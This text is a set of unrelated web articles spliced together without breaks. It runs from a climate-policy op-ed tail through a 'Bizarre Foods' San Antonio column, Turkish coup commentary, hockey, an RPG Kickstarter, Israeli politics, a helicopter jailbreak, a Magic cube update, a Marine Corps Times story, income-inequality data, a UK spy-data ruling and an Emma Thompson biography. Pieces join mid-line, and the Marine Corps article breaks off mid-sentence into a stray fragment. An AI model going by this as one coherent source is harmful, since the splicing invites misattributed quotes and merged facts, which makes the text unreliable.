If the West goes down the path advocated by Birol and the IEA, it risks a repeat of what happened to its nuclear industry. After the 1979 Three Mile Island nuclear accident, hardly any new nuclear power stations were built. Whereas the West’s ability to design and build nuclear power stations has atrophied, Vladimir Putin’s Rosatom currently boasts $100 billion in export orders. This is how the West lets its industries of the future become the future of the East.
Candidate Trump blamed incompetent negotiators for landing America with one-sided trade deals. Incompetence does not explain the Paris Agreement. Obama-administration climate negotiators did not put American interests first. The failure of the Kyoto Protocol led them to a structurally worse solution. They replaced reciprocated multilateralism with collective unilateralism under which those that offered the most lose the most. Supporters of the Paris Agreement will argue that American withdrawal would put the world’s climate at risk. The reality is that Paris agreement — and its Siamese twin, the Clean Power Plan — risk America’s industrial future. If you want to know why, look at what China is actually doing.S.A. getting own 'Bizarre Foods’ episode
'Bizarre Foods' star Andrew Zimmern with El Machito chef-owner Johnny Hernandez during a Travel Channel shoot for an episode about the flavors of San Antonio. 'Bizarre Foods' star Andrew Zimmern with El Machito chef-owner Johnny Hernandez during a Travel Channel shoot for an episode about the flavors of San Antonio. Photo: Ross Ruediger /Courtesy Photo Photo: Ross Ruediger /Courtesy Photo Image 1 of / 35 Caption Close S.A. getting own 'Bizarre Foods’ episode 1 / 35 Back to Gallery
Sharing a table Sunday with the colorful king of TV’s “Bizarre Foods” was not just, well, bizarre, but also fun and educational, an experience to be savored.
I especially was excited to learn this: Andrew Zimmern, the 53-year-old creator and star of the Travel Channel hit has fallen in love with San Antonio cuisine — so much so that he’s building an entire episode around it. His previous visit to the Alamo City resulted in a relatively small part of a 2009 “Bizarre Foods” on Texas.
He said the upcoming episode, presumably titled “Bizarre Foods: San Antonio,” likely will air in early summer.
“I’ve been dying to come back here,” Zimmern, who’s known best for relishing crazy delicacies such as entrails and eyeballs in exotic destinations, said over a Sunday meal at El Machito, chef Johnny Hernandez’s restaurant near the Quarry. “I like places that have a really strong story to tell, and San Antonio has such a story.”
Zimmern said he’s absolutely fascinated by how the city has grown way past the “airport food, Tex-Mex reputation.”
“What’s going on here is sophisticated cooking,” he said. “Young kids doing modernist Mexican cuisine at Mixtli. Chef Johnny educating the world, especially in San Antonio, about the flavors of Mexico.
“Then you have committed iconoclasts like Michael Sohocki at Restaurant Gwendolyn who have taken the point of view and determined grit of a frontiersman … eschewing electricity and only working with foods within a 100-mile radius. He’s setting rules for himself that most chefs couldn’t handle.
“That’s a pretty diverse and important thing to document, so I’m glad we got here when we did.”
Although Zimmern may be known for consuming edibles that many consider strange or icky, he said he doesn’t come to a place and ask, “What weird thing do you make here?”
“What we’re trying to document is how people eat in San Antonio,” he said. “The food isn’t bizarre to the people in whose community we’re dining.”
For instance, he mentioned how Machito — a signature dish at El Machito that’s made with goat organs and intestines — may be strange to someone in upstate New York, but not to S.A. locals.
When he and his film crew visited one of the nearby ranches used by Hernandez and other chefs, it was clear that very little goes to waste.
“It was nut-cutting time,” he said. “They cook ’em up, and if you’re lucky enough to be there when they catch a rattlesnake, they cook that up too.”
Although Zimmern is aware that, to many, he’s the culinary equivalent of a rock star, he cares more about sending a message, making a difference, opening viewers up to new cultures. “We eat a country’s culture first. After that, we accept their music, their art scene, then, hopefully, their people.”
As for the many cooking competition shows on television, he likes a few, he said, including “Top Chef.” “I watch it all the time. The content is there, and many of the challenges speak to issues and detail cultures.”
And the British chef known for his screaming? “Gordon Ramsay’s skillset is immense,” he said. “On 'Masterchef’ two seasons ago, he showed how to fillet a salmon. In six moves, he took it apart like an Irish fishmonger who’d been doing it for a half a century. … Sadly, we don’t often get to see what makes him one of the greats.”
As I watched Zimmern enthusiastically down each dish put before him — no matter how bizarre — I wondered: Is there anything he won’t eat?
“There’s nothing I won’t try, but there are a few things I hate,” he said. “Walnuts — just don’t like them — and Spam.”
From S.A. to Miami
Local personality Rita Verreos first caught folks’ attention here in 2007, when she competed on “Survivor: Fiji.”
Since then, she has tried her mightiest to stay in San Antonio, taking temporary TV jobs — such as fill-in traffic reporter on KENS, a guest host post on the Home Shopping Network and lots of freelance modeling and commercial work — hoping they eventually would turn into something permanent.
Her most recent opportunity — a promising correspondent gig on Spanish-language KVDA-TV — also ended up lasting only a few months.
So when Miami called, Verreos opted to do something she hoped she could avoid — leave her beloved San Antonio, the place she and her two kids have called home for 10 years.
The job? An entertainment news reporting post on “Agárrese Quién Pueda” (“Hold on if You Can”) on America TeVe, a Spanish-language network based in Miami. Verreos, who already has worked the red carpet once for the show, said it’s similar to “E! News” but with some pranking involved.
Jeanne Jakle’s column appears Wednesdays and Sundays in mySA, and she blogs at Jakle’s Jacuzzi on mySA.com. Email her at jjakle@express-news.net.An unsuccessful attempt to overthrow Turkish President Recep Tayyip Erdogan has caught the country and the world by surprise. Questions remain as to who was truly behind the coup carried out by a group of middle-rank military and law enforcement officers and whether it was a well-planned operation, considering how quickly it failed.
Semyon Bagdasarov, Director of the Moscow-based Center for Middle Eastern and Central Asian Studies, told RT that there was a lot of bad blood between Erdogan and the armed forces. The Turkish strongman has been trying to weaken the army's influence in the country from the moment he came to power. And he largely succeeded.
"Erdogan has long hated the military. When he served as the mayor of Istanbul, the military put him in jail for incitement of ethnic hatred. When Erdogan [became the prime minister], the first thing he did was to hold a referendum in order to amend the Turkish constitution," he said.
Bagdasarov was referring to the 2010 national plebiscite that abolished Provisional Article 15 of the Constitution that provided protection to coup plotters. Hundreds of military personnel, including generals, have been tried under Erdogan, the analyst added.
For their part, the Turkish Armed Forces have been increasingly discontent with the Islamist-leaning trend in the country. At the same time, Islamic cleric Fethullah Gülen, once a key Erdogan ally, and his movement, known as Hizmet, "has never wielded influence on the military," Bagdasarov noted.
© REUTERS / Murat Cetinmuhurdar/Presidential Palace Failed Military Coup Could Help Erdogan Get What He Wants
Erdogan has promptly pinned the blame for the Friday coup on Gülen, but the reclusive former imam has been influential with the law enforcement, the judiciary and partly intellectuals, not the army. As a result, coup plotters were able to receive support from a few military officers. In other words, not nearly as much as they needed to succeed. To a certain extent, this is why they failed.
Those who wanted to remove Erdogan from power on Friday "went all in without proper preparations," the analyst said. "But they did not have enough power. This is what happened."
Defense analyst Viktor Murakhovsky, the editor of the Arsenal Otechestva (the Armory of the Fatherland) military magazine, shared these sentiments. In his view, the army, at least its leaders, were not behind the coup.
"I would not say that the military made a stand against Erdogan," he told RT. "Unlike four successful post-WWII coups, this insurrection was not based on a military structure, but instead on a political platform that was backed by three-four dozen officers."
These people, the expert added, did not control the military and did not understand what needed to be done to take over the country.
"This was not a planned action, but rather a spur-of-the-moment event," Murakhovsky observed.UNIONDALE, N.Y. -- If you're talking about Calder Trophy predictions for the 2013-14 season, a dark horse in the race -- as chosen by yours truly -- is Boone Jenner of the Columbus Blue Jackets. Placed on the top line next to Brandon Dubinsky and Marian Gaborik coming out of training camp, it would seem like the points were going to come.
But, of course, Jenner is a rookie, so getting acclimated to the speed and skill of the NHL will take some time. Friday's opening game for the Blue Jackets was a perfect example. He may have started the game on the first line, it didn't take long for head coach Todd Richards to shake things up and move him down.
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"We talked about the game, the speed of it being a bit overwhelming early and I think it was for Boone, which I think is to be expected, somewhat," said Richards after Saturday's morning skate ahead of their game against the New York Islanders. "I thought as the game went on he got more comfortable, more familiar with the speed of it and he seemed to settle in fine."
Jenner echoed Richards' assessment.
"It was a pretty special night," said Jenner. "I felt better as the game went on. The start, I had a lot of nerves, but I thought I did pretty well."
For a 20-year old making his NHL debut with about 25 friends and family who made the six-hour drive from Dorchester, Ontario to Columbus, you can understand why nerves could be attributed to a slow start.
Jenner finished with 12 shifts and 10:27 of ice time. One game isn't a concern and in developing today's hockey player, the key is communication.
Story continues
"I think communication with all your players [is important]," said Richards. "You can look at any sport. You watch football and see Mike Tomlin in Pittsburgh seems to have a pretty good rapport with his players; [Joe] Maddon in Tampa Bay with the Rays. I think that's just coaching nowadays. It's that open line of communication, being able to communication with your players; maybe in what they're doing well, maybe what they aren't doing well. It doesn't matter if you're old or young.
"As a coach, you make sure you pick your spots, the right spots. Whether it's me or another coach. Some of it is just casual conversation where you can have meetings like that."
Going from junior hockey to the AHL late last season is one adjustment to make, but moving up to The Show is a completely different experience, something that Jenner is still getting used to.
"[I've] been here for about a month with camp and exhibition games, the real season's a new level," Jenner said. "Everyone steps it up that much more when the points are on the line. I just want to get better every game through preseason and work my way into the regular season here."
"The game's slowing down a little bit."
Follow Sean Leahy on Twitter at @Sean_LeahyLAST 24 HOURS! Note all print books will be upgraded to full color! Let's make this happen!
Introducing the Eldritch Role Playing Game
Eldritch Role-Playing game system (www.eldritchrpg.com) made its debut in 2008, published by Goodman Games, and received many positive reviews. This is a game that uses polyhedral dice but celebrates the narrative, while remaining unabashedly action-oriented. It is a fast game to pick up and play one-shots for those weekend warriors, but also infinitely customizable for GMs desiring a system to make their own for longer campaigns.
This edition will feature a new, supporting campaign world designed to accommodate any GM's whim (see more about that below), as well as expanded sections on monsters, traps and treasures.
“…Eldritch is a worthy system for anyone looking for something different, open and flexible. It feels like the start of something. A great idea that is slowly catching on…” (RPGNow fan review)
Note: see the next section or updates tab for all stretch goals announced to date.
The Game
An easy, fast-paced game of narrative action
The Eldritch RPG rules stand out in their capacity to handle many different scenarios and settings with a very flexible and manageable ability-system, which allows for the players to customize and create characters exactly to their liking. The skills and resolution systems are smooth, allowing combat and interactions to flow naturally with no constant need to reference books during play. The mechanics reinforce narration, which overflows to the rest of gameplay, getting everybody into the storytelling groove. Combat is made very abstract, replacing the traditional “attack roll versus target number” with a system of potential harm versus various defense pools. Static numbers are avoided in favor of randomization, so that neither impossible target numbers nor invincible damage resistances spoil the fun. Heroes are powerful in this game, but still vulnerable alone or without good teamwork, and the same goes for villains and monsters. The next narrative turn can be hard to predict in the Eldritch game, which we believe is a positive feature. Players describe how their characters survive, before all defensive points are lost, rather than forcing the Game Master to dictate all consequences. Thus, action scenes are always collaborative.
Additions and Stretch Goals announced
1. Add +5 to the $35 tier to get the PDF at a discount. Pledging at the $50 level now gets you not only the book and PDF, but a free 12 page mini-adventure set in the world of Ainerêve (see Update 9 for more information on the mini-adventure material).
2. At $4500, the following products are triggered for all pledge levels:
An online character generator for GMs and players to whip up PCs and NPCs and/or monsters on the fly.
Also, Sean Patrick Fannon of Evil Beagle Games has agreed to pen a bonus adventure for the Eldritch RPG in PDF format upon this Kickstarter reaching the goal of $4500 (as revealed on Update 10). Yes, this is in addition to the free adventure I'm throwing in for those at $50 and above, AND in addition to the online character and monster generator at $4500. He will write a short work set in the world of Shaintar (roughly 20 pages), showcasing Eldritch RPG's flexibility and adaptability to other worlds. It will also serve as an excellent introduction for fans of Shaintar to introduce the world to their players, regardless of game system. This extra adventure shall be granted to all pledge levels from $15 up! As stated before, the official campaign world of Eldritch RPG lends itself well to crossover and travel to other worlds (I've always liked'multiverse' concepts). Ainerêve can serve as a bridge to Sean's own world of Shaintar is a perfect example of a setting that the Eldritch RPG rules can encompass. Moreover, the work will also be made dual-stat for Savage Worlds. So go ahead, run with it in several of your favorite systems!
3. I have decided to upgrade all of the physical books to full color. The PDF will also be upgraded to full color interior, although I will provide a "printer-friendly" version of the PDF for those who like to print out sections for quick reference. Pledges at the $35 and $50 level get a standard, high-quality full color book (advanced inkjet technology through DrivethruRPG's Print on Demand). Pledges at $100 and above will have "premium full color" book (thicker paper and highest quality laser printing). So the deal got even better! Now we have a free adventure at $50 and above, full color for the PDF and all books, and premium full color for $100 and above (and don't forget the the stretch goals!).
Story and the campaign setting of Ainerêve
Ainerêve
All in all ERP is a tidy gem of a system that is in no way confined to a single genre. As I mentioned before, the game world of Ainerêve was professionally written by Peter Schaefer. It is open-ended, "sandbox" kind of setting. The world manifests from dreams, existing in its own plane, which is a common theme, chosen in the interest of allowing Game Masters full control and creative license over the nature of their campaign. Inspirations for the setting include the Michael Moorcock’s conception of the multi-verse (which also influenced age-old D&D cosmology), Zelanzy’s Chronicles of Amber, and familiar tropes from classic pseudo-medieval campaign settings. The setting is meant to be highly customizable, yet not an unstable, ever-shifting environment. Ainerêve has core area of adventure with its own history.
The revised rulebook will give detailed descriptions of the two nations of Maedoen and Piusarmorum, and the vast and mysterious Forest of Meath between them. These are the main areas of adventure featured in Ainerêve, involving three unique lands: the Forest of Meath, a place defined by the Celtic mythology and its eventual transformation into Celtic Christianity; Piusarmorum, defined by Christianity during the time of the Crusades and peopled by a lost company of Templar Knights; and Maedoen, a kingdom founded on the Celtic/Welsh that preceded Roman occupation.
Piusarmorum is evangelistic and conformist, and their discovery of the heathen Maedoens on the other side of the Forest of Meath roused them to another of their many holy crusades. This one has been going on for at least a hundred years. On the Maedoens’ parts, they war for their way of life and their sidhe brethren. The enchanted and dangerous Forest of Meath, apparently stuck in the middle, manages to flourish despite soldiers tromping back and forth through it.
A Land of Mystery and Dark Magic
To get a full appreciation of this interesting campaign setting, I present this quote from Peter Schaefer’s introduction:
“No single description suffices to encapsulate Ainerêve. It is a dream world, a place both above and within the Earth that we all know so well. Based in belief and imagination, Ainerêve is understandably unstable – for we humans are capricious and indecisive creatures. In general terms, Ainerêve is made up of settled lands and unsettled lands. These terms are common and in use, in one form or another, across the dream world. Settled lands are stable regions, internally consistent and relatively static. There can be weird things in settled lands, things that no person on Earth ever saw (but definitely conceived), but even the weird things there are somewhat predictable. In short, things are pretty much like a fantastic Earth. Walk down the road to the baker, and he’ll always be there. Houses don’t get infected with some sap’s random thought of Baba Yaga and walk away on their owners. It is beliefs, solid and lasting, that create settled lands. Over time, as a mythology or religion refuses to fade on Earth, it creates a place in the infinitely malleable Ainerêve".
Strange places await exploration
"Inhabitants come to Ainerêve from two places: dreams and beliefs, and Earth. The first is more common, as Victorian-age children dream a Jack-the-Ripper into existence or early American settlers have nightmares about the fiendish red Indians. Entire unsettled lands have been populated this way, though the inhabitants generally fade over time and disappear unless reinforced with belief. People from Earth occasionally travel to the dream world through a form of unknown magic. (This magic remains unknown because, despite this setting’s connection to Earth, games are intended to be played completely in Ainerêve.) Once there, most end up making their lives there and beginning a new society in whatever settled land they can find. Usually, people from Earth only find their way through to settled lands to which they are close – those based on beliefs similar to theirs...”
Final words
I hope this overview and preview of the new campaign setting has inspired you to take part in our journey!
Note: Original Cover art by Peter Bradley. All other art on this page is by Eric Bergeron.JERUSALEM (Reuters) - Israel’s interior minister, seen as a rival and potential successor to Prime Minister Benjamin Netanyahu, announced on Wednesday he was quitting the government, in a move that stunned the political right.
Gideon Sa’ar, 47, widely viewed as a favorite to one day challenge Netanyahu for the leadership of the ruling Likud, told party faithful that he would step down from both the cabinet and parliament after the Jewish New Year later this month.
“I’ve decided to take a break from politics,” said Sa’ar, adding that he wanted to spend more time with his family.
His move came just days after his wife, a TV news anchor, was suspended by government-owned Channel 1 following a row with her bosses, who wanted to limit her political reporting because of a conflict of interest over her husband’s career.
But some media pundits suggested he might be quitting over differences with Netanyahu, who is serving a third term as prime minister and whose popularity ratings have just recovered from a sharp fall during a recent 50-day war in the Gaza Strip.
Coalition hardliners had criticized Netanyahu’s handling of the conflict, believing he should have been more decisive against Hamas Islamists who control Gaza.
Political sources quoted Sa’ar as saying in July that he had urged Netanyahu to topple Hamas — something he refused to do.
Israel’s Foreign Minister Avigdor Lieberman, an ultra nationalist, said in a statement he regretted Sa’ar’s departure, calling it a loss for the government.
But Sa’ar’s resignation would not prevent him from one day returning to politics to challenge Netanyahu, who is struggling to overcome feuding within his cabinet over demands to raise defense spending following the Gaza war.
Sa’ar was a cabinet secretary under the late prime minister Ariel Sharon, but later as a lawmaker he opposed Sharon’s 2005 withdrawal of Israeli settlers and troops from Gaza. He was education minister from 2009-2013, rising to interior minister in the current cabinet.
He has been a lighting rod for criticism by human rights groups for implementing a tough policy toward African migrants, detaining thousands this year in a move seen as pressuring them to return home.
But his political star had been rising steadily, and he easily outmaneuvered Netanyahu in June when he masterminded a campaign to help a rival of the prime minister become president.Three years ago this week two men escaped from the St. Jerome detention centre.Now the video recorded of their jailbreak is being made public.It shows the helicopter just after it landed on a roof, and Benjamin Hudon-Barbeau and Dany Provencal already climbing up a rope dangling from the aircraft.When the pair cannot climb any higher they tie loops in the rope and stick their feet through the holes.The helicopter then takes off, ripping off a security camera in the process.The six-minute video also shows that no guards made any attempt to stop the pair during their escape.Their flight only lasted a few minutes, and the pair were dropped off in a nearby residential area where a car was waiting.The kidnapped pilot was later found safe and sound, and all of the men were arrested in a matter of hours.Earlier this year Hudon-Barbeau pleaded guilty to the escape, while the other escapee, Dany Provencal, pleaded guilty in November.The man who planned the job, Bill Beaudoin, pleaded guilty in January.Steven Mathieu Marchisio pleaded guilty last year and was sentenced to 15 years in prison.As brazen as this seems, a similar escape involving three drug traffickers took place just over a year later, in Orsainville outside of Quebec City.In that case it took two weeks to find the inmates who were hiding out in a Montreal condo.In both cases, the guards didn't shoot, because those inside the prison walls are not armed.Randy Buehler is a longtime Magic player, a friend of the Vintage format, co-host of the Standard Super League, and a lover of Magic Online Cubes everywhere. In November, working alongside Magic R&D, he led a complete redesign of the Magic Online Cube, resulting in the new Legacy Cube and its subsequent update.
This time, Randy and Magic R&D have set their sights on updating the Magic Online Holiday Cube! Read up on the redesign in the article below then go back to check out Lee Sharpe's latest article for details about upcoming Holiday Cube Events from July 8 through July 22.
Check out the updated Holiday Cube list.
Get the Holiday Cube and Mirrodin Block Phantom Draft Event details.
I am delighted that Wizards finally realized there is more than one holiday in the year, and we get to draft the "powered" cube on Magic Online during the middle of summer. My previous cube design projects have been centered around the Legacy Cube, and one of my goals has been to turn that into an experience distinct from this one. The project has gone well enough that they brought me in again, but this time the task is much easier. The Holiday Cube is already working quite well, and none of the themes require major surgery. Most of what I've done is make incremental upgrades by cutting unpopular cards and adding cool newly-printed ones.
The total number of cards changing is 52, but one card probably adds up to a bigger impact than the other 51 combined: we're cutting Time Vault. It's just too good, and too easy, and too dumb. Games involving Time Vault and any way to repeatedly untap it are kind of cool the first time you see them, and then the first time you draft that deck, but they're just not an interesting thing to bend the environment around for the long-term.
Time Vault may have been cut for being too powerful, but it's the only card that's not in this cube due to power-level concerns. In fact, we further embraced the "best cards of all time" theme by adding back Shelldock Isle and also adding in a collection of cards that are regularly played in Vintage but were not in the last version of this cube (Gush, Gitaxian Probe, Mental Misstep, Fastbond, Deathrite Shaman, Kuldotha Forgemaster, Treasure Cruise, Dig Through Time, and Monastery Mentor).
Meanwhile, there have been a lot of cool cards printed in the last year. In addition to the last three from the Vintage-staples list above, other newly printed superstars that made the cut include Siege Rhino, Alesha, Who Smiles at Death, Dragonlord Atarka, Gurmag Angler, Seeker of the Way, Narset Transcendent, Dragon Hunter, Soulfire Grand Master, Tasigur, the Golden Fang, Outpost Siege, Villainous Wealth, Dragonlord Silumgar, Whisperwood Elemental, Sidisi, Undead Visier, Mardu Woe-Reaper, Zurgo Bellstriker, Jeskai Ascendancy, Secure the Wastes, and Ugin, the Spirit Dragon.
Of course, figuring out what to cut is just as important to a cube update as figuring out what to add in. Luckily, Magic Online provides me with statistics on the average draft position of every card in the cube, both for the average drafter and also for those who win their draft. Cards with an average draft position of 13th, for example, are not just cards that won't help you win a draft but also cards that very few people even want to try playing with. I made heavy use of this list while figuring out what cuts to propose to R&D.
Here is a list of the ten lowest drafted cards in the previous run of the Holiday Cube. All ten of them have been cut from this incarnation:
Many of those cards are black, so we added one mini-theme to black to make up for all the aggro creatures we cut: fast reanimation. Corpse Dance, Shallow Grave, and Makeshift Mannequin each allow you to put a creature into play from your graveyard at instant speed, which means they provide you with a way to "reanimate" even the creatures that would normally shuffle themselves back into your library (like Emrakul, the Aeons Torn and the other Eldrazi). We think (hope) this will add another dimension to Sneak Attack and Through the Breach decks, as well as more traditional reanimation decks. We also added a few more discard outlets and cut the Relic of Progenitus in an effort to help the reanimation decks compete with the other crazy combo decks that are possible.
I know data is fun, so here's the flip side of that "lowest drafted list." These are, in order, the 25 most highly drafted cards amongst players who go on to 3-0 their pod:
There are lots of blue cards and lots of artifacts, which shouldn't come as a surprise to anyone who has drafted a powered cube before. The most highly drafted green card turns out to be Primeval Titan, at 46th. The first white card is Swords to Plowshares at 52nd. And the first red card? Well, it's also the first gold card on the list: Dack Fayden!
I feel pretty good about this update. I believe we have preserved everything that was already fun about Holiday Cube, upgraded the worst cards, and provided some new toys to play with. Feel free to let me know on twitter (@rbuehler) what other changes you might like to see in the future. Meanwhile, I will see you guys in the queues. Happy drafting!
Check out the updated Holiday Cube list.
Holiday Cube Changes
White
Blue
Black
Red
Green
Entering the Holiday Cube Fastbond Whisperwood Elemental
Leaving the Holiday Cube Plow Under Rancor
Multicolored
Colorless
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Marine Corps Times pushed off newsstands
The Gannett-owned Marine Corps Times has lost its prominent newsstand spot at Marine base exchange stores worldwide, possibly due to its coverage of a scandal involving a Marine commandant, the newspaper reports.
The independent paper, which relies heavily on sales at bases, is normally located with the rest of the popular magazines near the checkout lines, but will now be moved elsewhere in the stores.
For the past year, the paper has been conducting an ongoing investigation into allegations that Marine commandant Gen. Jim Amos abused his authority when ordering punishment for Marines who urinated on Taliban corpses in 2012. The investigation began after a fellow general said Amos ordered him to "crush" the defendants in the case, an action that could qualify as "illegal interference."
(Also on POLITICO: N.J. Star-Ledger regrets Christie endorsement)
Spokesmen for Amos would not say is his staff played a role in the paper's relocation on newsstands, but the Times reports that "a source with knowledge of the new directive said it was approved with the commandant’s knowledge."
The move also follows a new guidance issued in October, which specifically prohibits Marine commands from using operations and maintenance funds for purchasing subscriptions to the Marine Corps Times.
“For any retailer to hide one of its best-selling products is just bad business. It obviously will hurt our newsstand sales, but it also hurts revenues to the Exchange,” Peter Lundquist, Military Times’ vice president and general manager told the Times. “But I’m told this isn’t about business. Marine Corps Times helps Marines and their families stay informed about their service and their livelihood. We believe our independence is an asset to Marines. By what standard is Marine Corps Times not professionally oriented reading material, and who is setting that standard for Marines?”
(Also on POLITICO: Bill Keller to leave New York Times)
Marine Corps officials said the move was done to "professionalize" the front area and because the Times was not consistent with the Marine Corps "brand."
A spokesman for the Office of |
all day. It was too easy.One of the most discussed issues in American politics is the distribution of wealth and income across the country. For some time now, many Americans and political commentators have noted the disparity between the wealthiest 1% of Americans compared to the rest of Americans. Some claim that the income earned by the wealthiest far outpaces the income of all others, leading to unfair income inequality. But to what extent are these claims true? We’ve visualized the income difference between the top 1% and the rest of us by county in the map below, using data from the Economic Policy Institute (EPI).
The map above shows the severity of income inequality in each county highlighted in the darker shaded areas. In the United States, a county is subdivision of a state with some level of government authority. These subdivisions sometimes only contain one large city or metro area, but usually span multiple municipalities. The data measures the average income of the top 1% divided by the average income of the rest of us.
Counties with the Most Income Inequality
Teton, WY: Top 1% makes 233 times more than the rest of us
La Salle, TX: Top 1% makes 125.6 times more than the rest of us
Shackelford, TX: Top 1% makes 117.1 times more than the rest of us
New York, NY (combined five borough-counties in one city): Top 1% makes 115.6 times more than the rest of us
Custer, CO: Top 1% makes 86.6 times more than the rest of us
Fairfield, CT: Top 1% makes 73.7 times more than the rest of us
Franklin, FL: Top 1% makes 73.4 times more than the rest of us
Collier, FL: Top 1% makes 73.2 times more than the rest of us
Pitkin, CO: Top 1% makes 68.8 times more than the rest of us
San Juan, WA: Top 1% makes 68.8 times more than the rest of us
Counties with the Least Income Inequality
Wade Hampton, AK: Top 1% makes 5.1 times more than the rest of us
Manassas Park City, VA: Top 1% makes 5.1 times more than the rest of us
Shannon, SD: Top 1% makes 5.3 times more than the rest of us
Aleutians West, AK: Top 1% makes 5.4 times more than the rest of us
Chattahoochee, GA: Top 1% makes 5.7 times more than the rest of us
Nance, NE: Top 1% makes 5.8 times more than the rest of us
Robertson, KY: Top 1% makes 5.9 times more than the rest of us
King George, VA: Top 1% makes 5.9 times more than the rest of us
North Slope, AK: Top 1% makes 5.9 times more than the rest of us
Southeast Fairbanks, AK: Top 1% makes 5.9 times more than the rest of us
Across all counties, the top 1% makes 25.3 times more than the rest of us, with the top 1% posting averaging incomes of $1,153,293 and the rest of us posting average incomes of $45,567. In Teton, Wyoming the wealthiest 1% make an average income of $28,163,786 while the bottom 99% make an average income of $120,884. The top 1% make 233 times as much as the rest of us in this county, giving it the highest income inequality ratio of any county by far. Counties in Texas, Colorado and Florida make the list twice, with counties Texas appearing on on the top 100 list often. Contrary to popular belief, counties with large cities do not have the highest income inequality in the country. Although counties with larger cities can have high income inequality, the top 10 list in dominated by counties with small populations.
The counties with the least income inequality between the top 1% and bottom 99% are either in the Alaska, the South or in states with a small population. For those of you living in Alaska, you may be happy to hear that your state has four counties with the least income inequality. Wade Hampton, Alaska – which was renamed to Kusilvak Census Area in 2015 – has the lowest income inequality ratio at 5.1. However, this county is also one of the poorest and least employed counties in the country. An interesting pattern emerges in counties with low income inequality. Of the counties with the least inequality, the average income of the top 1% is far below the national average, while the average income of the bottom 99% is usually not below the national average.
Although counties influenced by cities like New York and San Francisco do boast high income inequality ratios, smaller counties tend to have higher and lower income inequality across the nation. The average income of the bottom 99% in counties with high and low inequality generally floats around the national average. At the same time, the top 1% in counties with the highest income inequality have average incomes well above the national average. Conversely, the top 1% in counties with the lowest income inequality have average incomes below the national average.
Please feel free to leave your comments below! We would like to hear your feedback.
Sources: Table 1Image copyright Thinkstock Image caption The Investigatory Powers Tribunal has made a new ruling about spy agencies' activities
UK spy agencies broke privacy rules by collecting large amounts of UK citizens' data without adequate oversight, the Investigatory Powers Tribunal (IPT) has ruled.
Complaints about data collection by GCHQ, MI5 and MI6 were put forward by campaign group Privacy International.
The ruling said some data collection did not comply with the European Convention on Human Rights (ECHR).
But it added that proper statutory supervision was put in place last year.
It was a "highly significant judgement", Privacy International said.
As part of its review of the spy agencies' activities, the IPT examined the organisations' collection of communications data - involving the "who, where, when, how and with whom" was involved in conversations, but not their contents - and personal information about people.
Such data is "vital for identifying and developing intelligence targets", according to GCHQ.
Article 8 of the ECHR states, however, that all citizens have the right to a private life and that any interference with personal data must be lawful and necessary.
Image copyright AFP Image caption The Home Office has said the intelligence agencies play a "vital role" in protecting the UK
"It is very significant," said Graham Smith of London law firm Bird & Bird.
He added that much of the data collection had been carried out under an older piece of law - section 94 of the Telecommunications Act 1984.
"It gave absolutely no clue at all that it could be used for this particular purpose," said Mr Smith.
"Everyone accepts that what the agencies do operationally has to be secret, but the laws that say what they can and can't do shouldn't be secret."
'Unlawful' collection
An official policy about how such data collection should be carried out lawfully came into force in February 2015 - this was put into practice by the intelligence agencies later the same year.
It included guidance as to how collected data should be acquired, managed and destroyed
The tribunal found that, prior to this, personal datasets compiled by spy agencies did not comply with Article 8 and were therefore "unlawful".
"The powers available to the security and intelligence agencies play a vital role in protecting the UK and its citizens," said the Home Office in a statement.
"We are therefore pleased the tribunal has confirmed the current lawfulness of the existing bulk communications data and bulk personal dataset regimes."
It added that the government was "committed" to providing greater transparency and stronger safeguards for bulk data collection powers available to intelligence agencies.Dame Emma Thompson DBE[2] (born 15 April 1959) is a British actress, screenwriter, activist, author, and comedian. One of the UK's most acclaimed actresses, she is known for her portrayals of enigmatic women, often in period dramas and literary adaptations, and playing matronly characters with a sense of wit. She is the recipient of various accolades, including two Academy Awards, a Primetime Emmy Award, three BAFTA Awards, and two Golden Globe Awards.
Born in London to English actor Eric Thompson and Scottish actress Phyllida Law, Thompson was educated at Newnham College, University of Cambridge, where she became a member of the Footlights troupe. After appearing in several comedy programmes, she first came to prominence in 1987 in two BBC TV series, Tutti Frutti and Fortunes of War, winning the BAFTA TV Award for Best Actress for her work in both series. Her first film role was in the 1989 romantic comedy The Tall Guy, and in the early 1990s, she frequently collaborated with her then husband, actor and director Kenneth Branagh. The pair became popular in the British media and co-starred in several films, including Dead Again (1991) and Much Ado About Nothing (1993).
In 1992, Thompson won an Academy Award and a BAFTA Award for Best Actress for the period drama Howards End. In 1993, she garnered dual Academy Award nominations for her roles in The Remains of the Day as the housekeeper of a grand household and In the Name of the Father as a lawyer. Thompson scripted and starred in Sense and Sensibility (1995), which earned her numerous awards, including an Academy Award for Best Adapted Screenplay, which makes her the only person to receive Academy Awards for both acting and writing, and a BAFTA Award for Best Actress. Other notable film and television credits include the Harry Potter film series, Wit (2001), Love Actually (2003), Angels in America (2003), Nanny McPhee (2005), Stranger than Fiction (2006), Last Chance Harvey (2008), Men in Black 3 (2012), Brave (2012), and Beauty and the Beast (2017). In 2013, she received acclaim and several award nominations for her portrayal of P. L. Travers in Saving Mr. Banks.
Thompson is married to actor Greg Wise, with whom she lives in London. They have one daughter and one son. She is an activist in the areas of human rights and environmentalism and has received criticism for her outspokenness. She has written two books adapted from The Tale of Peter Rabbit. She was appointed a Dame Commander of the Order of the British Empire (DBE) in the 2018 Birthday Honours by Elizabeth II for her services to drama.
Early life [ edit ]
Thompson was born in Paddington,[3][a] London, on 15 April 1959.[5] Her mother is the Scottish actress Phyllida Law, while her English father, Eric Thompson, was involved in theatre, and was the writer–narrator of the popular children's television series The Magic Roundabout.[6][7] Her godfather was the director and writer Ronald Eyre.[8][9] She has one sister, Sophie Thompson, who also works as an actress.[6] The family lived in West Hampstead in north London,[7] and Thompson was educated at Camden School for Girls.[10] She spent much time in Scotland during her childhood and often visited Ardentinny, where her grandparents and uncle lived.[11]
In her youth, Thompson was intrigued by language and literature, a trait which she attributes to her father, who shared her love of words.[12] In 1977, she began studying for an English degree at Newnham College, Cambridge.[13] Thompson believes that it was inevitable that she would become an actress, commenting that she was "surrounded by creative people and I don't think it would ever have gone any other way, really".[14] While there, she had a "seminal moment" that turned her to feminism and inspired her to take up performing. She explained in an interview in 2007 how she discovered the book The Madwoman in the Attic, "which is about Victorian female writers and the disguises they took on in order to express what they wanted to express. That completely changed my life."[15] She became a self-professed "punk rocker",[16] with short red hair and a motorbike, and aspired to be a comedian like Lily Tomlin.[15]
